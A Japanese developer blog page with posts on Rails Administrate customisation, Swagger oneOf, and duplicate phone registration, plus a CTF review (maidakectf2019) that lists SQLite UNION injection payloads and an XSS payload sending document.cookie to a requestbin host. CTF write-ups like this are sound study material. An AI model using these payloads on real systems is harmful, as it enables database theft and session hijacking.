セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【Rails】Administrateで独自の属性型を定義しReadonly等に対応する

目的

administrateの管理画面での属性の表示を色々といじりたいときに、新しいクラスを作成して、対応する方法です。例えば、readonlyな表示をしたり、ラジオボタンに対応したりなどです。下のような感じ。今回はreadonlyを例にしてやります。


f:id:thinline196:20191007171742p:plain
f:id:thinline196:20191007171746p:plain

完成系

HogeDashboardのidを下のように指定すれば、readonlyな表示になる。

class HogeDashboard < Administrate::BaseDashboard

  ATTRIBUTE_TYPES = {
    id: Field::NumberField.with_options(readonly: true),
  }
end



土台をadministrateより生成する

http://administrate-prototype.herokuapp.com/customizing_attribute_partials 上のページにあるように、既に用意されているNumberを継承して生成します。4つのファイルが生成されます。(上のページの先の説明と若干違う)

$ bin/rails g administrate:field number
      create  app/fields/number_field.rb
      create  app/views/fields/number_field/_show.html.erb
      create  app/views/fields/number_field/_index.html.erb
      create  app/views/fields/number_field/_form.html.erb



NumberFieldクラス

新たにreadonly?というインスタンスメソッドを追加します。(あとで自分で呼び出すコードを書くので、特に決まった名前はないです。)これは、ダッシュボードで指定する:readonlyの値をoptionsから取り出して返します。(この辺りの動作はfetch参照)

# app/fields/number_field.rb
require "administrate/field/base"

class NumberField < Administrate::Field::Base
  def to_s
    data
  end

  # ここから新規実装
  def readonly?
    options.fetch(:readonly,false)
  end
end



viewの部分

先ほど生成した残りの3つのファイルが表示部分を担当しております。今回はreadonlyということで、editのページでのみいじれないようにすれば、index等のページはそのままでも問題はないでしょう。なお私はslimを使っているのでerbの方とは若干書き方が異なります。

# app/views/fields/number_field/_form.html.slim
.field-unit__label
  = f.label field.attribute
.field-unit__field
  - if field.readonly?
    = f.text_field(field.attribute,disabled: "disabled")
  - else
    = f.text_field field.attribute


ifで先ほど実装したreadonly?を呼び、readonlyダッシュボードで指定されているか調べます。trueであれば、フィールドをreadonly(見た目の都合上disabledを使用しました)で返し、そうでなければ普通のNumberで描画します。

ラジオボタンなど他の実装であっても、ダッシュボードでwith_optionsにより適切な値を設定してあげ、それに対応する描画部分を(今回であればf.text_field(field.attribute,disabled: "disabled"))を書き換えてあげれば良いと思います。

復習回 maidakectf2019

この記事は

自分用です。。


参考

st98.github.io

qiita.com

qiita.com

Kancolle Engine (SQLi)

LIKE句にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%が0文字以上の任意の文字列、_が任意の1文字を表すので、%をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。

$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた)
$ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。
$ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#



Haiku contest

投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbinを送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。

<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>

上を投げれば、クッキーが抜けてそれがそのままフラグになる。

phpで書かれたフォームへのPOST

何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencodedmultipart/form-dataの形式で受け取るとのこと。なので、json形式で書いてもちゃんと受け取ってくれないです。

なので、x-www-form-urlencodedではa=1&b=1のようなクエリパラメータの形式で投げてあげましょう。

【Swagger3.0】1つのステータスコードに対して複数のレスポンスを定義 (oneOf)

状況

Swaggerで、とあるapiのレスポンスにおいて、「同じステータスコードを返すんだけれど、bodyの内容が違う場合がある」時、SwaggeroneOfという書き方で対応できます。(swagger3.0以上だったはず)


openapi: 3.0.0
...
省略
...
paths:
  /hello:
    get:
      tags:
        - hellos
      description: ハローが帰ってくるapiです。
      responses:
        '200':
          description: 登録されている支払い方法が返される。
          content:
            application/json:
              schema:
                oneOf:
                  - $ref: '#/components/responses/HelloResponse1'
                  - $ref: "#/components/responses/HelloResponse2"
              examples:
                response1:
                  summary: HelloResponse1の通常レスポンスです
                  value:
                    success1:
                      message_title: Response1
                      message: ハロー1のレスポンスのexampleです
                response2:
                  summary: HelloResponseの特別なレスポンスです
                  value:
                    success1:
                      message_title: Response2
                      message: ハロー2のレスポンスのexampleです
components:
  responses:
    HelloResponse1:
      type: object
      properties:
        success1:
          type: object
          properties:
            msg_title:
              type: string
              example: HelloResponse1
            message:
              type: string
              example: ハロー1のレスポンスです。
    HelloResponse2:
      type: object
      properties:
        success1:
          type: object
          properties:
            msg_title:
              type: string
              example: HelloResponse2
            message:
              type: string
              example: ハロー2のレスポンスです。



画面ではこう表示されます。 f:id:thinline196:20190918181302p:plain


examplesを定義したことにより、別のレスポンスを表示できるようになっています。 f:id:thinline196:20190918181502p:plain

f:id:thinline196:20190918181515p:plain


Schemaを選択すれば、oneOfを使用して定義した部分を見ることができます。 f:id:thinline196:20190918181701p:plain


あとはいい感じで定義してあげてください。レアケースかもしれませんが、意外と役立つと思います。

【Rails5】Administrateのスタイルシート読込先を変更する

やること

管理画面生成のgemadministrateにてRailsのデフォルトのスタイルシートapplication.cssから、スタイルを読み込ませる方法。そんなに難しいことはしません。

方法

以下のコマンドで_styoesheet.html.erbを生成します。これでadministrateのデフォルト挙動のレイアウト周りを編集可能になります。

$ bin/rails generate administrate:views:layout
      create  app/views/layouts/admin/application.html.erb
      create  app/views/admin/application/_navigation.html.erb
      create  app/views/admin/application/_stylesheet.html.erb
      create  app/views/admin/application/_javascript.html.erb
      create  app/views/admin/application/_flashes.html.erb


こちらが生成される_stylesheet.html.erbの中身。

# _stylesheet.html.erb
<%#
# Stylesheet Partial

This partial imports the necessary stylesheets on each page.
By default, it includes the application CSS,
but each page can define additional CSS sources
by providing a `content_for(:stylesheet)` block.
%>

<% Administrate::Engine.stylesheets.each do |css_path| %>
  <%= stylesheet_link_tag css_path %>
<% end %>

<%= yield :stylesheet %>



eachのなかに、読込先を記述します。今回であれば、デフォルトの所から呼び出すようにしたいので、applicationを指定

<% Administrate::Engine.stylesheets.each do |css_path| %>
  <%= stylesheet_link_tag css_path %>
<%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %>
<% end %>

これで、administarteの画面から既存のスタイルシートを読込ことができます。

私はslimを使っているのでerbでの動作確認はできてませんが、、管理画面しか使用しないプロジェクトなどではこっちの方がいいかもしれません。

【Rails】登録内容がユニークでないユーザへの条件別対応

例えば

ユーザが電話番号で仮登録をし、認証のためのURLを生成して返す場合、同じ電話番号を使って再度仮登録の内容をPOSTしてくる場合がある。1時間以内に2回送ってくる人は恐らくイタズラに近い可能性があるのでエラーを返すが、それ以降に再度送ってきた場合、本当に認証のURLを紛失している可能性がある。

処理方法

まずPOSTされた電話番号が既に登録されているか確認する。

user = User.find_or_initialize_by(tel_number: q[:tel_number])

これで既に登録されていた場合はそのレコードを取得できる。

このレコードが新規のものか確認し、そうでないなら前回送信してから1時間経過しているかを判定する。

    if !user.new_record?
      return raise HogeError if user.requested_at > Time.current - 60.minutes
    end

requested_atは前回送信する際に保存した送信時間。もし新規レコード(初めての仮登録)ならここもパスする。

レコードを更新or保存する

    user.update_attributes!(
      registered_url: https://hogehoge..
      token: hogehoge..
      requested_at: Time.current
    )



これで、新規登録、重複の登録に対応することが可能。